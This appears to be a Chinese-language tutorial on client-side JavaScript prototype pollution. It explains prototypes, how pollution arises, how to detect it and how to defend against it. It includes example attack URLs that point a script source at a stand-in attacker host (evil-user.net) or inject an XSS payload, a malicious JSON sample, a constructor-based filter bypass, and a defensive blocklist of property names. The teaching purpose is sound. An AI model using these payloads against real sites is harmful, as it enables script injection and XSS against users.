JavaScript 客户端原型污染漏洞原理讲解及分析教程
字数 1467 2025-08-10 16:34:31

JavaScript 客户端原型污染漏洞原理与防御指南

1. JavaScript原型基础

1.1 什么是原型(prototype)

JavaScript中的每个对象都链接到另一个对象,称为原型(prototype)。默认情况下,JavaScript会自动将新对象分配给其内置原型之一。

示例:

let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype

let myString = "";
Object.getPrototypeOf(myString); // String.prototype

let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype

let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype

1.2 原型继承机制

对象会自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使得开发人员能够创建可以重用现有对象属性和方法的新对象。

2. 原型污染概念

2.1 定义

原型污染是一个JavaScript漏洞,攻击者可以利用它向全局对象原型添加任意属性,用户定义的对象可以继承这些属性。

2.2 污染示例

例如,可以修改内置字符串方法:

String.prototype.toUpperCase = function() {
    return this.toLowerCase(); // 将原本转大写的功能改为转小写
}

"HELLO".toUpperCase(); // 输出: "hello"

3. JavaScript对象基础

3.1 对象结构

JavaScript对象是多个key:value的集合:

const user = {
    name: "张三",
    sex: "男",
    exampleMethod: function() {
        // 方法实现
    }
}

3.2 属性访问方式

可以通过点表示法或方括号表示法访问属性:

user.name // "张三"
user['sex'] // "男"

4. 原型链机制

4.1 原型链示例

"hEllo".toLowerCase().toUpperCase();

原型链最终会回到顶层Object.prototype

username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null

4.2 原型修改

开发人员可以自定义或重写原型内置方法:

String.prototype.trim = function() {
    return "我不干净了";
}

" 前后空格 ".trim(); // "我不干净了"

5. 原型污染漏洞注入过程

5.1 漏洞产生条件

当JavaScript函数递归地将包含用户可控制属性的对象合并到现有对象中时,通常会出现原型污染漏洞,而无需首先清理key。

5.2 关键要素

  1. 原型污染源 - 使用户能够污染原型对象的输入
  2. 接收器 - 可以执行任意代码的JavaScript函数或DOM元素
  3. 可利用的属性 - 未经适当筛选传递到接收器的属性

5.3 污染源类型

5.3.1 基于URL参数污染

示例URL:

https://vulnerable-website.com/?__proto__[evilProperty]=payload

5.3.2 基于JSON污染

恶意JSON示例:

{"__proto__": {"evilProperty": "payload"}}

使用JSON.parse()转换后:

const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

6. 漏洞利用示例

6.1 典型漏洞场景

let transport_url = config.transport_url || defaults.transport_url;

let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);

6.2 攻击方式

通过URL污染:

https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net

或嵌入XSS有效负载:

https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//

7. 漏洞检测方法

7.1 手动检测步骤

  1. 尝试通过查询字符串、URL片段和JSON输入注入任意属性:

    vulnerable-website.com/?__proto__[foo]=bar
    
  2. 检查Object.prototype是否被污染:

    Object.prototype.foo // "bar"表示成功
    
  3. 尝试不同注入技术(括号表示法/点表示法):

    vulnerable-website.com/?__proto__.foo=bar
    

7.2 使用调试器检测

  1. 在脚本开头添加debugger语句
  2. 暂停脚本执行后,在控制台输入:
    Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
        get() {
            console.trace();
            return 'polluted';
        }
    })
    
  3. 观察堆栈跟踪,确定属性访问位置

8. 通过构造函数进行原型污染

8.1 构造函数污染方法

每个JavaScript对象都有constructor属性,指向创建它的构造函数:

let myObject = {};
myObject.constructor // function Object(){...}

通过构造函数访问原型:

myObject.constructor.prototype // Object.prototype

8.2 替代污染方式

__proto__被过滤时,可以使用构造函数方式:

myObject.constructor.prototype.evilProperty = 'payload';

9. 防御措施

9.1 输入验证

  • 严格验证用户输入,特别是对象属性名
  • 禁止使用__proto__constructorprototype等敏感属性名

9.2 安全合并对象

使用安全的对象合并方法,避免递归合并:

function safeMerge(target, source) {
    for (const key in source) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            continue;
        }
        target[key] = source[key];
    }
    return target;
}

9.3 冻结原型

冻结内置原型防止修改:

Object.freeze(Object.prototype);

9.4 使用无原型对象

对于敏感对象,可以设置原型为null:

const safeObject = Object.create(null);

9.5 使用现代JavaScript特性

使用Object.create(null)创建无原型对象,或使用Map代替普通对象存储键值对。

10. 总结

JavaScript原型污染是一种严重的安全漏洞,攻击者可以通过污染内置原型来影响应用程序的行为。理解原型继承机制、污染原理和防御方法对于开发安全的JavaScript应用至关重要。通过输入验证、安全对象处理和原型保护等措施,可以有效防范此类漏洞。

JavaScript 客户端原型污染漏洞原理与防御指南 1. JavaScript原型基础 1.1 什么是原型(prototype) JavaScript中的每个对象都链接到另一个对象,称为原型(prototype)。默认情况下,JavaScript会自动将新对象分配给其内置原型之一。 示例: 1.2 原型继承机制 对象会自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使得开发人员能够创建可以重用现有对象属性和方法的新对象。 2. 原型污染概念 2.1 定义 原型污染是一个JavaScript漏洞,攻击者可以利用它向全局对象原型添加任意属性,用户定义的对象可以继承这些属性。 2.2 污染示例 例如,可以修改内置字符串方法: 3. JavaScript对象基础 3.1 对象结构 JavaScript对象是多个key:value的集合: 3.2 属性访问方式 可以通过点表示法或方括号表示法访问属性: 4. 原型链机制 4.1 原型链示例 原型链最终会回到顶层 Object.prototype : 4.2 原型修改 开发人员可以自定义或重写原型内置方法: 5. 原型污染漏洞注入过程 5.1 漏洞产生条件 当JavaScript函数递归地将包含用户可控制属性的对象合并到现有对象中时,通常会出现原型污染漏洞,而无需首先清理key。 5.2 关键要素 原型污染源 - 使用户能够污染原型对象的输入 接收器 - 可以执行任意代码的JavaScript函数或DOM元素 可利用的属性 - 未经适当筛选传递到接收器的属性 5.3 污染源类型 5.3.1 基于URL参数污染 示例URL: 5.3.2 基于JSON污染 恶意JSON示例: 使用 JSON.parse() 转换后: 6. 漏洞利用示例 6.1 典型漏洞场景 6.2 攻击方式 通过URL污染: 或嵌入XSS有效负载: 7. 漏洞检测方法 7.1 手动检测步骤 尝试通过查询字符串、URL片段和JSON输入注入任意属性: 检查 Object.prototype 是否被污染: 尝试不同注入技术(括号表示法/点表示法): 7.2 使用调试器检测 在脚本开头添加 debugger 语句 暂停脚本执行后,在控制台输入: 观察堆栈跟踪,确定属性访问位置 8. 通过构造函数进行原型污染 8.1 构造函数污染方法 每个JavaScript对象都有 constructor 属性,指向创建它的构造函数: 通过构造函数访问原型: 8.2 替代污染方式 当 __proto__ 被过滤时,可以使用构造函数方式: 9. 防御措施 9.1 输入验证 严格验证用户输入,特别是对象属性名 禁止使用 __proto__ 、 constructor 和 prototype 等敏感属性名 9.2 安全合并对象 使用安全的对象合并方法,避免递归合并: 9.3 冻结原型 冻结内置原型防止修改: 9.4 使用无原型对象 对于敏感对象,可以设置原型为null: 9.5 使用现代JavaScript特性 使用 Object.create(null) 创建无原型对象,或使用 Map 代替普通对象存储键值对。 10. 总结 JavaScript原型污染是一种严重的安全漏洞,攻击者可以通过污染内置原型来影响应用程序的行为。理解原型继承机制、污染原理和防御方法对于开发安全的JavaScript应用至关重要。通过输入验证、安全对象处理和原型保护等措施,可以有效防范此类漏洞。